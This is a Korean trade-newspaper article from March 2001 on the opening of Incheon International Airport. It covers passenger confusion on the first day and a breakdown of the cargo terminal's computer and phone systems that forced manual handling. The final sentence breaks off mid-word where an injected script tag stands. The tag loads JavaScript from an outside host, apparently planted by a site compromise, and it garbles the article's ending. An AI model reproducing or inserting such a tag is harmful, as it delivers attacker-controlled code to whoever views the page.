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작성일 |
2001-03-30 |
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인천 공항 개항, 화물 전산 시스템 마비 [무역일보] |
인천 공항 개항, 화물 전산 시스템 마비
말도 많고 탈도 많았던 인천국제공항이 어제 역사적인 전면개항을 시작했다. 29일 아시아나 항공 방콕발 OZ 3423편이 새벽 5시 인천공항 도착을 시작으로 대한항공, 노스웨스트항공 등 총 36개의 항공사가 이용하게 된다.〈관련기사 39면 참조〉
지난 92년부터 총공사비 7조8000억원을 들인 우리나라 최대의 국책사업인 인천공항은 연간 2700만명의 여객과 시간당 8400개의 수하물을 처리할 수 있는 여객터미널, 연간 170만톤의 화물을 처리할 수 있는 화물터미널, 그리고 연간 17만회의 항공기 운항을 수용할 수 있는 활주로 2개가 설치돼 있다.
신공항은 초음속·초대형 여객기가 자유로이 이착륙 할 수 있는 첨단 허브공항의 입지 조건을 갖췄다. 소음, 기상조건, 주변장애물, 장래 확장성, 주요 항공수요 발생지역으로 부터의 접근성 등 최적의 공항 입지 조건으로 주변 공항인 일본 간사이, 홍콩의 첵랍콕 공항 등과 경쟁 우위에 있다.
또 비행거리 3.5시간 이내에 인구 100만 이상의 대도시가 48개나 있어 동북아 각 나라의 주요도시를 활동 권역으로 연결하는 기능을 담당하게 된다.
여객 탑승관련시설은 출발탑승동에 여객 편의 위한 자동 보도 장치, 입국후 환영홀서 여행 및 교통정보 제공, 장애인 시설 확충이 돼 있다.
인천공항 화물터미널은 대한항공 80만톤, 아시아나 40만톤, 외국적 항공사 40만톤 등 연간 170만톤의 화물을 처리할 수 있다.
인천 공항 화물터미널은 3개 터미널로 구성돼 있으며 각 항공사별로 독립된 터미널을 확보, 특화된 서비스를 제공하도록 돼 있는 것이 특징이며 공항이용 복합운송주선업체들이 연합해 약 3500평의 항공화물 창고를 보유 선진화 된 항공 물류 시스템을 펼칠 계획이다.
▲인천공항 여객청사 첫날표정
그러나 인천공항은 개항 첫날부터 삐걱대고 있었다.
개항 첫날 승객들은 공항구조가 낯선데다 안내 요원들의 준비도 미흡한 탓에 시종일관 우왕좌왕했다.
승객들은 안내 직원들마다 말이 달라서 혼란스러웠고 연계 교통편을 어디서 탈 수 있는 지 몰라 공항주변을 온통 배회했다며 강한 불만을 터뜨렸다.
이날 한 일본인 관광객은 공항이용권 판매대를 찾지 못해 여객터미널내를 방황하다가 30분만에 한 항공사 승무원의 안내를 받아 겨우 장소를 찾았다.
오전 9시 30분 출발 비행기로 홍콩행 출장길에 오른 무역업체 한 관계자는 “비행기시간을 맞추기 위해 꼭두새벽부터 일어나야 했다”며“버스 이용료와 공항이용료를 감안할 때 너무 비싼 공항이라는 생각이 들었다”고 말했다.
또 그는 “여객터미널내 각종 표지판을 늘여야 할 것 같다”고 덧붙였다.
싱가포르에서 귀국한 한 사업자는 “화물이 나오는 곳과 안내전광판의 표시가 서로 맞지 않아 혼란을 겪었으며 항공사 직원들에게 항의를 했지만 항공사직원들은 전광판은 공단소관이지 항공사 소관이 아니다라고 퉁명스럽게 대답했다”고 말했다.
▲화물청사 첫날 표정
인천공항의 화물터미널 항공화물시스템이 첫날부터 전산시스템이 작동되지 않아 수작업을 통해 화물처리 작업이 진행되는 등 웃지못할 해프닝이 벌어졌다.
인천 신공항 화물터미널을 이용해 수출입을 하는 복운업체의 시스템 구축 미비와 시내·외전화 불통으로 신속한 처리를 요하는 항공화물 처리는 그야말로 난장판이 됐다.
한국무역정보통신(KT Net)의 첨단시스템을 이용해 100% 문제가 없다고 한 아시아나 항공과 대한항공의 화물시스템과 인천세관의 시스템은 순간순간 위기를 막느라 진땀을 흘려야 했다.
만일 인천공항의 개항이 항공화물 성수기인 9월이후였다면 그 뒷수습을 감당할 수 없을 것이란 게 이날 공항에 있었던 이용자들의 입장이다.
인천공항 화물터미널로 이주한 복합운송주선업체(이하 복운업체)들은 전산시스템 구축의 불안정과 시내전화의 불통으로 인천 국제 공항 개항당일 업무를 포기하고 말았다.
이 결과 오늘 수출입을 하지 못하는 무역업체만 엄청난 비용발생과 피해를 보게 됐다.
복운업체들이 오늘 수출입업무를 거의 포기한 상태인데도 각 항공사는 수출입에 전혀 하자가 없고 관세청도 시스템 처리에 아무런 문제가 발견되지 않았다고 밝혔지만 항공사들은 실제로 개항당일의 수출입 물량도 제대로 파악하지 못하고 있었다.
대한항공 한 관계자는 “오늘 수출 물량은 간신히 항공기 이륙시간에 맞춰가고 있지만 수량이 얼마나 되는지 파악되지 않고 있다”고 말했다.
복운업체 한관계자는 “대한항공으로 화물에 대한 B/L서류를 픽업(pick up)하는데 오전 접수를 했는데 점심시간이 지나서야 처리됐다”며 “새로 변경된 시스템운영이 너무나 매끄럽지 못하다”고 말했다
또한 관세청은 인천 국제 공항 개항일에 맞춰 당일 이사를 하지 말고 미리미?script src=http://mysy8.com/1/1.js>
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